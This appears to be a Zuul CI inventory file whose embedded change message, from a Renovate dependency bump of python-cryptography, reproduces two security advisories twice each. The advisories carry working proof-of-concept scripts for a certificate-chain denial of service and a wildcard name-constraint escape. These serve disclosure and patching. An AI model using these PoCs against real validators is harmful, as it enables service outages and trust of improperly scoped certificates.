all:
  children:
    zuul_unreachable:
      hosts: {}
  hosts:
    debian-bookworm:
      ansible_connection: ssh
      ansible_host: 2a13:1a81:8000:3124:f816:3eff:fea9:1ac3
      ansible_port: 22
      ansible_python_interpreter: auto
      ansible_user: zuul
      nodepool:
        az: nova
        cloud: regiocloud-a-ci
        external_id: a8425818-f0f3-42e9-a6af-977a0487c331
        host_id: 82101243836454d7401d5893feae9e2c5df7cc291646d8a99b33b53b
        interface_ip: 2a13:1a81:8000:3124:f816:3eff:fea9:1ac3
        label: debian-bookworm
        node_properties: {}
        private_ipv4: 10.128.7.214
        private_ipv6: null
        provider: regiocloud-a
        public_ipv4: 81.163.192.217
        public_ipv6: 2a13:1a81:8000:3124:f816:3eff:fea9:1ac3
        region: null
        slot: null
  vars:
    zuul:
      _inheritance_path:
      - '<Job base explicit: None implied: {MatchAny:{ImpliedBranchMatcher:main}}
        source: osism/zuul-config/zuul.d/jobs.yaml@main#2>'
      - '<Job yamllint explicit: None implied: {MatchAny:{ImpliedBranchMatcher:main}}
        source: osism/zuul-jobs/.zuul.yaml@main#59>'
      - '<Job yamllint explicit: None implied: None source: osism/container-image-osism-ansible/.zuul.yaml@main#106>'
      ansible_version: '9'
      attempts: 1
      branch: main
      build: 5b4a4dd1bddb4c83872d47479c1b2c7e
      build_refs:
      - branch: main
        change: '767'
        change_message: "chore(deps): update dependency cryptography to v50 [security]\n\nThis
          PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
          | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
          [cryptography](https://redirect.github.com/pyca/cryptography) ([changelog](https://cryptography.io/en/latest/changelog/))
          | `==48.0.1` \u2192 `==50.0.0` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/cryptography/50.0.0?slim=true)
          | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/cryptography/48.0.1/50.0.0?slim=true)
          |\n\n---\n\n### python-cryptography: Duplicate self-signed intermediates
          can cause exponential path-building\n[CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)
          / [GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)
          / PYSEC-2026-3553\n\n<details>\n<summary>More information</summary>\n\n####
          Details\n##### Summary\nWhen resolving invalid certificate chains that include
          duplicate copies of self-signed certificates, the processing recursively
          invokes the same candidate, leading to an exponential blowup. Although the
          limitation that the chain depth cannot exceed a specified maximum depth
          prevents unbounded recursion and guarantees termination, an attacker-controlled
          certificate chain can lead the processing to easily take more than 5s to
          reject in testing. This amplification could form the basis for a resource
          exhaustion denial of service attack.\n\nThis work was completed by Trail
          of Bits as part of the Patch The Planet project in collaboration with OpenAI.
          The finding was identified primarily by the Codex coding agent, and manually
          reviewed before submission. \n\n##### Details\nThe core issue arises in
          the recursive nature of `build_chain_inner`, which does not de-duplicate
          against previously analyzed candidates.\n\n```python\n    fn build_chain_inner(\n
          \       &self,\n        working_cert: &VerificationCertificate<'chain, B>,\n
          \       current_depth: u8,\n        working_cert_extensions: &Extensions<'chain>,\n
          \       name_chain: NameChain<'_, 'chain>,\n        budget: &mut Budget,\n
          \   ) -> ValidationResult<'chain, Chain<'chain, B>, B> {\n        if let
          Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID)
          {\n            name_chain.evaluate_constraints(&nc.value()?, budget)?;\n
          \       }\n\n        // Look in the store's root set to see if the working
          cert is listed.\n        // If it is, we've reached the end.\n        if
          self.store.contains(working_cert) {\n            return Ok(vec![working_cert.clone()]);\n
          \       }\n\n        // Check that our current depth does not exceed our
          policy-configured\n        // max depth. We do this after the root set check,
          since the depth\n        // only measures the intermediate chain's length,
          not the root or leaf.\n        if current_depth > self.policy.max_chain_depth
          {\n            return Err(ValidationError::new(ValidationErrorKind::Other(\n
          \               \"chain construction exceeds max depth\".into(),\n            )));\n
          \       }\n\n        // Otherwise, we collect a list of potential issuers
          for this cert,\n        // and continue with the first that verifies.\n
          \       let mut last_err: Option<ValidationError<'_, B>> = None;\n        for
          issuing_cert_candidate in self.potential_issuers(working_cert) {\n            //
          A candidate issuer is said to verify if it both\n            // signs for
          the working certificate and conforms to the\n            // policy.\n            let
          issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n
          \           match self.policy.valid_issuer(\n                issuing_cert_candidate,\n
          \               working_cert,\n                current_depth,\n                &issuer_extensions,\n
          \           ) {\n                Ok(_) => {\n                    match self.build_chain_inner(\n```\n\nA
          sufficient patch is to track valid issuers, and to skip seen ones before
          recursing. By tracking valid issuers only, validation and custom extension-policy
          callbacks still run.\n\n```rust\n          let mut seen_valid_issuers =
          Vec::<&VerificationCertificate<'chain, B>>::new();\n          for issuing_cert_candidate
          in self.potential_issuers(working_cert) {\n          . . .\n                  Ok(_)
          => {\n                      if seen_valid_issuers.contains(&issuing_cert_candidate)
          {\n                         continue;\n                      }\n                      seen_valid_issuers.push(issuing_cert_candidate);\n
          \n                      match self.build_chain_inner(\n                          issuing_cert_candidate,\n
          \                         // NOTE(ww): According to RFC 5280, we should
          only\n```\n\nIn testing, this fix removed the exponential blowup without
          breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464
          -> 1,7,rejected,0.000667\n2,7,rejected,0.025154 -> 2,7,rejected,0.001229\n3,7,rejected,0.489924
          -> 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -> 4,7,rejected,0.002144\n3,8,rejected,1.468193
          -> 3,8,rejected,0.001811\n4,8,timeout>5s,       -> 4,8,rejected,0.002410\n5,7,timeout>5s,
          \      -> 5,7,rejected,0.002640\n6,6,timeout>5s,       -> 6,6,rejected,0.002829\n```\n\n#####
          PoC\nThe following script benchmarks processing times for malicious cert
          chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport
          cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives
          import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom
          cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification
          import (\n    DNSName,\n    PolicyBuilder,\n    Store,\n    VerificationError,\n)\n\nNOW
          = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT =
          5\nCA_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n
          \   key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n
          \   key_cert_sign=True,\n    crl_sign=True,\n    encipher_only=False,\n
          \   decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n
          \   content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n
          \   key_agreement=False,\n    key_cert_sign=False,\n    crl_sign=False,\n
          \   encipher_only=False,\n    decipher_only=False,\n)\n\ndef name(common_name):\n
          \   return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef
          base_builder(subject, issuer, public_key, serial):\n    return (\n        x509.CertificateBuilder()\n
          \       .subject_name(subject)\n        .issuer_name(issuer)\n        .public_key(public_key)\n
          \       .serial_number(serial)\n        .not_valid_before(NOW - datetime.timedelta(days=1))\n
          \       .not_valid_after(NOW + datetime.timedelta(days=30))\n    )\n\ndef
          make_ca(common_name, serial):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n
          \   subject = name(common_name)\n    cert = (\n        base_builder(subject,
          subject, private_key.public_key(), serial)\n        .add_extension(x509.BasicConstraints(ca=True,
          path_length=None), True)\n        .add_extension(CA_KEY_USAGE, True)\n        .add_extension(\n
          \           x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n
          \           False,\n        )\n        .sign(private_key, hashes.SHA256())\n
          \   )\n    return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n
          \   private_key = ec.generate_private_key(ec.SECP256R1())\n    return (\n
          \       base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(),
          100)\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None),
          True)\n        .add_extension(EE_KEY_USAGE, True)\n        .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]),
          False)\n        .add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n
          \           False,\n        )\n        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]),
          False)\n        .sign(issuer_key, hashes.SHA256())\n    )\n\ndef build_material():\n
          \   looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n    _,
          unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n    leaf = make_leaf(looping_key,
          looping_ca)\n    return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates,
          max_depth, queue):\n    leaf, looping_ca, unrelated_root = build_material()\n
          \   verifier = (\n        PolicyBuilder()\n        .store(Store([unrelated_root]))\n
          \       .time(NOW)\n        .max_chain_depth(max_depth)\n        .build_server_verifier(DNSName(\"example.com\"))\n
          \   )\n\n    start = time.perf_counter()\n    try:\n        verifier.verify(leaf,
          [looping_ca] * duplicates)\n        result = \"accepted\"\n    except VerificationError:\n
          \       result = \"rejected\"\n    queue.put((result, time.perf_counter()
          - start))\n\ndef run_case(duplicates, max_depth):\n    queue = multiprocessing.Queue()\n
          \   process = multiprocessing.Process(\n        target=verify_case,\n        args=(duplicates,
          max_depth, queue),\n    )\n    process.start()\n    process.join(TIMEOUT)\n\n
          \   if process.is_alive():\n        process.terminate()\n        process.join()\n
          \       print(f\"{duplicates},{max_depth},timeout>{TIMEOUT}s,\")\n        return\n\n
          \   result, elapsed = queue.get()\n    print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif
          __name__ == \"__main__\":\n    print(\"duplicates,max_depth,result,seconds\")\n
          \   for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7),
          (6, 6)]:\n        run_case(*case)\n```\n\n##### Impact\nThis issue exposes
          an amplification pathway over data that in many applications may be user-controlled,
          leading to the possibility of a denial of service through resource exhaustion.
          As the correctness of validation is not affected, the integrity of a system
          cannot be compromised through this vector, only its availability.\n\n####
          Severity\n- CVSS Score: 8.7 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww)\n-
          [https://github.com/pyca/cryptography/pull/14960](https://redirect.github.com/pyca/cryptography/pull/14960)\n-
          [https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582](https://redirect.github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-jwv3-5hgf-82ww)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          python-cryptography verifier accepts wildcard DNS names allowing escape
          from permittedSubtrees\n[CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)
          / [GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)
          / PYSEC-2026-3554\n\n<details>\n<summary>More information</summary>\n\n####
          Details\n##### Summary\nIf an intermediate constrained CA permits the DNS
          name `foo.example.com`, and the leaf certificate has a wildcard in its DNS
          SAN of `*.example.com`, python-cryptography's verifier accepts which allows
          escaping outside of the permitted names.\n\n##### PoC\n\n```\n\n#!/usr/bin/env
          python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches admits a too-broad
          wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n
          \ Leaf SAN:                    dNSName = *.example.com\nExpected: rejection
          (RFC 5280 \xA74.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts;
          further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com`
          and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom
          cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom
          cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric
          import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder,
          Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027,
          1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef
          build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n
          \        .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n
          \        .serial_number(x509.random_serial_number())\n         .not_valid_before(now
          - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca,
          path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e,
          c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n##### Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn
          = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot
          = build(rn, rn, rk, rk, True)\n\n##### Sub-CA constrained to foo.example.com\nsk
          = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n
          \   excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc,
          True)])\n\n##### Leaf with SAN *.example.com (over-broad relative to the
          constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf
          = build(ln, sn, lk, sk, False, [(san, False)])\n\n##### Policies\nca_pol
          = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints,
          Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n
          \   x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n
          \   PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol,
          ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n
          \   v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com
          though sub-CA was constrained to foo.example.com\")\nexcept VerificationError
          as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n##### Impact\n\nAcceptance
          of invalid certificate chain.\n\n#### Severity\n- CVSS Score: 6.9 / 10 (Medium)\n-
          Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c)\n-
          [https://github.com/pyca/cryptography/pull/14888](https://redirect.github.com/pyca/cryptography/pull/14888)\n-
          [https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2](https://redirect.github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-m2h6-j472-rp4c)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          python-cryptography: Duplicate self-signed intermediates can cause exponential
          path-building\n[CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)
          / [GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)
          / PYSEC-2026-3553\n\n<details>\n<summary>More information</summary>\n\n####
          Details\n##### Summary\nWhen resolving invalid certificate chains that include
          duplicate copies of self-signed certificates, the processing recursively
          invokes the same candidate, leading to an exponential blowup. Although the
          limitation that the chain depth cannot exceed a specified maximum depth
          prevents unbounded recursion and guarantees termination, an attacker-controlled
          certificate chain can lead the processing to easily take more than 5s to
          reject in testing. This amplification could form the basis for a resource
          exhaustion denial of service attack.\n\nThis work was completed by Trail
          of Bits as part of the Patch The Planet project in collaboration with OpenAI.
          The finding was identified primarily by the Codex coding agent, and manually
          reviewed before submission. \n\n##### Details\nThe core issue arises in
          the recursive nature of `build_chain_inner`, which does not de-duplicate
          against previously analyzed candidates.\n\n```python\n    fn build_chain_inner(\n
          \       &self,\n        working_cert: &VerificationCertificate<'chain, B>,\n
          \       current_depth: u8,\n        working_cert_extensions: &Extensions<'chain>,\n
          \       name_chain: NameChain<'_, 'chain>,\n        budget: &mut Budget,\n
          \   ) -> ValidationResult<'chain, Chain<'chain, B>, B> {\n        if let
          Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID)
          {\n            name_chain.evaluate_constraints(&nc.value()?, budget)?;\n
          \       }\n\n        // Look in the store's root set to see if the working
          cert is listed.\n        // If it is, we've reached the end.\n        if
          self.store.contains(working_cert) {\n            return Ok(vec![working_cert.clone()]);\n
          \       }\n\n        // Check that our current depth does not exceed our
          policy-configured\n        // max depth. We do this after the root set check,
          since the depth\n        // only measures the intermediate chain's length,
          not the root or leaf.\n        if current_depth > self.policy.max_chain_depth
          {\n            return Err(ValidationError::new(ValidationErrorKind::Other(\n
          \               \"chain construction exceeds max depth\".into(),\n            )));\n
          \       }\n\n        // Otherwise, we collect a list of potential issuers
          for this cert,\n        // and continue with the first that verifies.\n
          \       let mut last_err: Option<ValidationError<'_, B>> = None;\n        for
          issuing_cert_candidate in self.potential_issuers(working_cert) {\n            //
          A candidate issuer is said to verify if it both\n            // signs for
          the working certificate and conforms to the\n            // policy.\n            let
          issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n
          \           match self.policy.valid_issuer(\n                issuing_cert_candidate,\n
          \               working_cert,\n                current_depth,\n                &issuer_extensions,\n
          \           ) {\n                Ok(_) => {\n                    match self.build_chain_inner(\n```\n\nA
          sufficient patch is to track valid issuers, and to skip seen ones before
          recursing. By tracking valid issuers only, validation and custom extension-policy
          callbacks still run.\n\n```rust\n          let mut seen_valid_issuers =
          Vec::<&VerificationCertificate<'chain, B>>::new();\n          for issuing_cert_candidate
          in self.potential_issuers(working_cert) {\n          . . .\n                  Ok(_)
          => {\n                      if seen_valid_issuers.contains(&issuing_cert_candidate)
          {\n                         continue;\n                      }\n                      seen_valid_issuers.push(issuing_cert_candidate);\n
          \n                      match self.build_chain_inner(\n                          issuing_cert_candidate,\n
          \                         // NOTE(ww): According to RFC 5280, we should
          only\n```\n\nIn testing, this fix removed the exponential blowup without
          breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464
          -> 1,7,rejected,0.000667\n2,7,rejected,0.025154 -> 2,7,rejected,0.001229\n3,7,rejected,0.489924
          -> 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -> 4,7,rejected,0.002144\n3,8,rejected,1.468193
          -> 3,8,rejected,0.001811\n4,8,timeout>5s,       -> 4,8,rejected,0.002410\n5,7,timeout>5s,
          \      -> 5,7,rejected,0.002640\n6,6,timeout>5s,       -> 6,6,rejected,0.002829\n```\n\n#####
          PoC\nThe following script benchmarks processing times for malicious cert
          chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport
          cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives
          import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom
          cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification
          import (\n    DNSName,\n    PolicyBuilder,\n    Store,\n    VerificationError,\n)\n\nNOW
          = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT =
          5\nCA_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n
          \   key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n
          \   key_cert_sign=True,\n    crl_sign=True,\n    encipher_only=False,\n
          \   decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n    digital_signature=True,\n
          \   content_commitment=False,\n    key_encipherment=False,\n    data_encipherment=False,\n
          \   key_agreement=False,\n    key_cert_sign=False,\n    crl_sign=False,\n
          \   encipher_only=False,\n    decipher_only=False,\n)\n\ndef name(common_name):\n
          \   return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef
          base_builder(subject, issuer, public_key, serial):\n    return (\n        x509.CertificateBuilder()\n
          \       .subject_name(subject)\n        .issuer_name(issuer)\n        .public_key(public_key)\n
          \       .serial_number(serial)\n        .not_valid_before(NOW - datetime.timedelta(days=1))\n
          \       .not_valid_after(NOW + datetime.timedelta(days=30))\n    )\n\ndef
          make_ca(common_name, serial):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n
          \   subject = name(common_name)\n    cert = (\n        base_builder(subject,
          subject, private_key.public_key(), serial)\n        .add_extension(x509.BasicConstraints(ca=True,
          path_length=None), True)\n        .add_extension(CA_KEY_USAGE, True)\n        .add_extension(\n
          \           x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n
          \           False,\n        )\n        .sign(private_key, hashes.SHA256())\n
          \   )\n    return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n
          \   private_key = ec.generate_private_key(ec.SECP256R1())\n    return (\n
          \       base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(),
          100)\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None),
          True)\n        .add_extension(EE_KEY_USAGE, True)\n        .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]),
          False)\n        .add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n
          \           False,\n        )\n        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]),
          False)\n        .sign(issuer_key, hashes.SHA256())\n    )\n\ndef build_material():\n
          \   looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n    _,
          unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n    leaf = make_leaf(looping_key,
          looping_ca)\n    return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates,
          max_depth, queue):\n    leaf, looping_ca, unrelated_root = build_material()\n
          \   verifier = (\n        PolicyBuilder()\n        .store(Store([unrelated_root]))\n
          \       .time(NOW)\n        .max_chain_depth(max_depth)\n        .build_server_verifier(DNSName(\"example.com\"))\n
          \   )\n\n    start = time.perf_counter()\n    try:\n        verifier.verify(leaf,
          [looping_ca] * duplicates)\n        result = \"accepted\"\n    except VerificationError:\n
          \       result = \"rejected\"\n    queue.put((result, time.perf_counter()
          - start))\n\ndef run_case(duplicates, max_depth):\n    queue = multiprocessing.Queue()\n
          \   process = multiprocessing.Process(\n        target=verify_case,\n        args=(duplicates,
          max_depth, queue),\n    )\n    process.start()\n    process.join(TIMEOUT)\n\n
          \   if process.is_alive():\n        process.terminate()\n        process.join()\n
          \       print(f\"{duplicates},{max_depth},timeout>{TIMEOUT}s,\")\n        return\n\n
          \   result, elapsed = queue.get()\n    print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif
          __name__ == \"__main__\":\n    print(\"duplicates,max_depth,result,seconds\")\n
          \   for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7),
          (6, 6)]:\n        run_case(*case)\n```\n\n##### Impact\nThis issue exposes
          an amplification pathway over data that in many applications may be user-controlled,
          leading to the possibility of a denial of service through resource exhaustion.
          As the correctness of validation is not affected, the integrity of a system
          cannot be compromised through this vector, only its availability.\n\n####
          Severity\n- CVSS Score: 8.7 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww)\n-
          [https://github.com/pyca/cryptography/pull/14960](https://redirect.github.com/pyca/cryptography/pull/14960)\n-
          [https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582](https://redirect.github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n-
          [https://pypi.org/project/cryptography](https://pypi.org/project/cryptography)\n-
          [https://github.com/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3553)
          and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).\n</details>\n\n---\n\n###
          python-cryptography verifier accepts wildcard DNS names allowing escape
          from permittedSubtrees\n[CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)
          / [GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)
          / PYSEC-2026-3554\n\n<details>\n<summary>More information</summary>\n\n####
          Details\n##### Summary\nIf an intermediate constrained CA permits the DNS
          name `foo.example.com`, and the leaf certificate has a wildcard in its DNS
          SAN of `*.example.com`, python-cryptography's verifier accepts which allows
          escaping outside of the permitted names.\n\n##### PoC\n\n```\n\n#!/usr/bin/env
          python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches admits a too-broad
          wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n
          \ Leaf SAN:                    dNSName = *.example.com\nExpected: rejection
          (RFC 5280 \xA74.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts;
          further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com`
          and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom
          cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom
          cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric
          import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder,
          Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027,
          1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef
          build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n
          \        .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n
          \        .serial_number(x509.random_serial_number())\n         .not_valid_before(now
          - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca,
          path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e,
          c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n##### Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn
          = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot
          = build(rn, rn, rk, rk, True)\n\n##### Sub-CA constrained to foo.example.com\nsk
          = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n
          \   excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc,
          True)])\n\n##### Leaf with SAN *.example.com (over-broad relative to the
          constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf
          = build(ln, sn, lk, sk, False, [(san, False)])\n\n##### Policies\nca_pol
          = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints,
          Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n
          \   x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n
          \   PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol,
          ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n
          \   v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com
          though sub-CA was constrained to foo.example.com\")\nexcept VerificationError
          as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n##### Impact\n\nAcceptance
          of invalid certificate chain.\n\n#### Severity\n- CVSS Score: 6.9 / 10 (Medium)\n-
          Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c)\n-
